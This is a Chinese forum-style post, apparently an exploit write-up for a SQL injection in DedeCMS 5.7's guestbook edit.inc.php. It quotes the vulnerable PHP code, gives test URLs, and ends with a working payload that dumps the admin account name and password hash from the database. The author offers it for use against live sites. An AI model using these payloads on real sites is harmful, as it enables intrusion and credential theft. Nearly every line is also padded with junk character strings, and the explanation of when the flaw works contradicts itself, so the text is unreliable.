影响版本为5.7
1 m4 D( L2 Q+ k5 {) e q" F+ Z. I/ x) q; {" Q
漏洞文件edit.inc.php具体代码:
9 R7 T" b. a; F4 Y( ]
4 v6 c! Y3 a$ z* j. \< ?php 4 S3 b" O; s( M" b
# {6 _0 t! A; V! @+ z
if(!defined('DEDEINC')) exit('Request Error!');
8 |; z/ h" u+ {1 n) y8 F! R
. S, w9 p+ Y- K
$ s. H; G1 ^* X0 r- R( p
1 F: T2 |6 p/ g, |. Q, C! s: \+ Rif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; ' u; V8 o5 [3 F& w. d
( K0 m0 u2 r3 y: f0 n$ X% G1 |else $GUEST_BOOK_POS = "guestbook.php";
6 q& O, ^# P# I/ R
6 K8 Q1 P/ w& Q) t 9 \6 Q1 V0 i! y5 c% b# k) [5 _, k! U( K
) s& \: c: u5 V( V
$id = intval($id);
+ V1 l0 I+ _& }. z4 {& V: v2 u. c: k( y# z! n0 r6 }
if(empty($job)) $job='view';
3 I+ R: |1 u, ]; M9 q4 A( n" {; O! f/ ]
6 F+ q3 h9 R6 ^$ o, z
. D7 K( y, A4 \# E2 w" ^if($job=='del' && $g_isadmin)
% ^$ B1 U* O. q' L5 p. O* C! p: f3 w3 [5 H
{ 7 I7 a$ ~; `7 B) ]/ k% t7 k
1 @; m6 t* f! Y$ D* f- |2 O$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); 9 L& l6 |9 Y1 j9 ~) D
" y* z. F1 C/ y' ~0 A; L0 G
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); 1 i' B- p6 Y" f. A' j, d6 \
0 v- Y% E+ o) v1 e# C- L2 Q
exit(); 6 Y2 h" S8 g+ w5 R: M* e7 L
E$ @3 g, s' u5 g8 {% ~% V# W! s
}
$ `/ C3 U9 s/ j* `' E
1 V2 Q2 A/ S+ u9 A5 f1 melse if($job=='check' && $g_isadmin) 8 |2 y4 G! _; M1 c: T
. X% `* S) v0 J/ D
{ ' S) J w* Z9 l
- y& M! p5 {& S; s" n6 M$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
; {. A0 a% f3 S2 g0 [" O
2 ^7 Z6 Y7 M- X* ]ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
- [; |+ P% k R7 V( A6 ?& y0 g; h7 V/ }4 n3 y: [0 s# U7 A
exit(); ) o1 h. _+ I$ K L% g
* y4 O8 G+ A) A) F0 u4 \8 |} 1 q6 O7 f- n" F1 }' X
* U& H5 _; @( _; u1 velse if($job=='editok')
0 J* M- [4 B" J; v: U- r& V7 W
; b1 I- ?+ r) ]& u9 `) c{
+ ~+ Y) ^6 }$ w& d, ?/ R }* e2 [3 @& J8 ~- m1 G8 O# @) H# v+ l
$remsg = trim($remsg);
# L, N, l, f: R) I
8 p/ J% m2 H- zif($remsg!='') 0 Q+ l* `( V! w# n) z) f7 `
/ v& I5 p" b1 F* p$ N
{
) r4 A; O0 `/ e. G( W+ m, T" a4 F1 E8 [
//管理员回复不过滤HTML By:Errorera blog:errs.cc - Y, l8 v2 [7 p% N
% {! e& n" X' P4 E, Nif($g_isadmin)
& _3 J+ m1 E/ _0 X2 {, @# `9 z. ^# N t# `6 o( P$ w9 e3 e
{ 8 p- B6 Y4 x: g6 p1 V9 ^. W
8 m9 c4 X1 n9 n( A, k$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; : K0 Q8 L8 V6 @: ?
+ I$ B! J$ K4 h2 R: ?
//$remsg <br /><font color=red>管理员回复:</font> }
# ~& j+ q) A: q7 J8 l) l' K3 r$ R" R2 E+ h' J& M9 K0 E
else
. m0 P6 e& V* l) u4 ^
; g4 F0 D* N) ?( Y% S{ 4 k% H! ?7 k# M6 U( u
1 @/ n. U1 \* S! ]6 I# Z. c
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); ) T) R3 c8 Y" ]2 ]
; V! F' |$ H( j! h: y) y$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
& Q5 c, U5 \. |) L! X0 V' U/ b) }
$remsg = trimMsg(cn_substrR($remsg, 1024), 1); : D' Q# t1 }! [3 ^
% j' C1 h% H+ D) X% c4 |- Z7 m$msg = $oldmsg.$remsg; # s* b% {( ]0 J9 s% }/ m2 r+ o
; Z+ n2 v, n9 V/ H7 `% U+ Y* v}
X5 u4 f4 j; O- R4 [' W% U4 E% S7 ^, B( E8 y% h" ?# V' U
} ! `6 q3 w# @+ M3 L! v( Q7 f
: u! X; v9 G7 {- M7 O
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
) g+ o$ J) B1 t) I5 D" i: }7 z6 K. |3 I" J( t0 f @4 \6 n" ~9 b
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); 8 O4 b4 b6 u, X! O, t3 E& _. v2 Q" v* i
& T) n5 |& }3 b3 k. E
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
( w! B; W; Q7 c7 @! ^8 Y% [3 K2 \: h2 J
exit();
: R. H5 e/ i/ L3 U/ n! r6 R: {
4 J- v2 u) e" D) }+ z J}
; C4 M. O3 e2 m6 K- x$ y4 {
0 e. g5 A/ ] E/ ~3 n//home:www.errs.cc 5 r; T g3 K# Y' b* `3 M
4 Z: ? E, F3 n$ h0 k- z7 d% zif($g_isadmin)
6 k% c0 t2 E$ P' p& A' Q
" Q+ c/ L' U, K: }/ s+ `{ 9 @# o( K, C: g6 h* C& a
( q2 H l6 t/ a: `, ?0 Q( C( t
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); " ?+ Y' H2 K4 v
) P' {7 L& j" ]! T3 y8 x/ N# t* Rrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
: E) v$ x5 S7 L
! u1 t% h7 c* S* e, M( h} - t" h' U: g$ O4 h
. k. F7 T! v5 pelse 7 J9 y6 g/ J8 f; F
" m# G* D% v: o0 l' S+ Q- G{
r) A- p4 _& Z5 ]6 A+ F
0 q: h. q9 z" R) C$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
/ K! d# f9 X) ^% l4 n; g7 a3 Z. X4 g0 Y" v$ {5 B
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
9 P1 P B+ X4 ~" C5 z$ `
, }% m' s. G4 L1 N} 漏洞成功需要条件:
% l# F! |0 H2 \3 _0 J$ \9 O1. php magic_quotes_gpc=off0 x2 A0 ]0 k% P: u' K2 R, {
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
8 Q0 j6 }( t w& Q# ^( Q! [. z8 ?# X" Y+ x2 V3 p- c" F2 e
怎么判断是否存在漏洞:4 P+ p9 O. X: V4 ]& ~1 { a
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
. W z; [4 a" M+ p; Z0 ^然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID0 y6 G2 W7 i& ~) a7 E4 \0 Y0 L! W* M6 l
访问:
- D1 k8 k+ w6 l- ]% U& y# Z9 ~5 E) } {+ r( j# \% E0 ^
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
9 J8 G: `/ o$ ~" S7 }. P跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
. z' k) V! n* [% v6 [2 n
$ }2 L- v* |6 D8 I8 h; c
0 `& g, x: T6 E/ R/ w; ?明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
( a$ C1 J: ^$ |6 O6 c9 U; q/ `如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。/ t6 ^# b0 Z! A* T% I/ G/ ^* o
那么再次访问
- Q/ Y' P8 d. S3 F1 e) ? t+ f9 U$ m& l% x+ u; B! f9 k! B
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
& q( o) A# d+ k, U N4 v9 D5 i; Q8 M
大概利用就是这样,大家有兴趣的多研究下!!. ?% L; ]$ j+ M: y2 T- U+ ?+ w4 ^* K
7 H; ]: ]$ A# h$ P* w0 \2 J W- ?! B
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
+ I( M' F; i. S$ p9 b( U% H" I5 p Z3 J. l* r6 W- c
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |